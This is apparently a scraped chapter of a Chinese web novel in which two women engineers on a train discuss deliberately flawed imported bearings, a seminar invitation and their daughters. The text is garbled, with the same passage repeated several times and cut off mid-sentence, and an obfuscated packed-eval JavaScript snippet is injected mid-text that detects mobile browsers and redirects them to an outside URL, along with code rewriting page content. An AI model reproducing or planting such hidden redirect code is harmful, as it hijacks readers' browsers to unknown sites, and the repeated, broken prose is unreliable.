“你这是打算改良进口的绕线机轴承?”陈玉茹看了几眼图纸之后,问道。 “我们厂的进口的绕线机轴承总是出问题,我一直在想办法改进……最近厂里成立的专门的小组,打算改进这些机械,避免受制于人。” “轴承座公差故意放大0.1毫米。”陈玉茹接过话头,语气笃定。 “您怎么知道的?”姜海棠十分惊讶。 “我们每年都会收到类似的报告,这是外国人为我们人为制造的问题,没想到,你们厂已经开始准备改进设备了。” “每一次受制于人,还要付出巨额的外汇,实在是不甘心啊!” “是啊,谁能甘心呢?可目前,我们的能力和水平都还有所欠缺。海棠同志,我在这方面,也有一些心得,你们现在研究到什么程度了,或许,我也可以为你们的研究贡献一份力量。” 陈玉茹说话条理清晰,时不时用钢笔在纸上快速写下几个公式或数据,字迹刚劲有力。 她翻看着姜海棠自制的游标卡尺,眼中流露出赞赏:“做工很精细,看得出下了功夫。” “我喜欢这个!”姜海棠始终保持着微笑。 突然,陈玉茹压低声音:“小姜,你英语怎么样?“ 姜海棠有些不好意思:“这方面没有什么问题,我还兼职我们厂广交会的翻译。” “哦,我说你这个名字怎么这么熟悉,终于想起来了,你是不是要去和周副部长汇合?”陈玉茹恍然大悟的开口,显然,也是知道姜海棠这个人的。 姜海棠没想到陈玉茹竟然是知道自己的,她下意识摸了摸耳后的发丝,有些不好意思了。 “我还以为,现在有许多如此出色的小同志,原来是我多想了,你是个非常优秀出色的同志,不光在研究方面有能力,还是个乐于助人的好同志。” “我听说过你的许多事迹……” 两个人越说越投机,很快就到了饭点,陈玉茹坚持要请姜海棠吃饭。 姜海棠推辞不过,只能接受,两个人一边吃饭一边继续聊着。 “这次你们去D国,还有一个精密机械研讨会,我手里有一张邀请函,你到时候可以去看看。” “是给您的邀请函,您为什么自己不去?” “我受伤了,长时间的舟车劳顿坚持不住。”陈玉茹说着,拍拍自己的大腿。 “严重吗?” “ 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944669|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” 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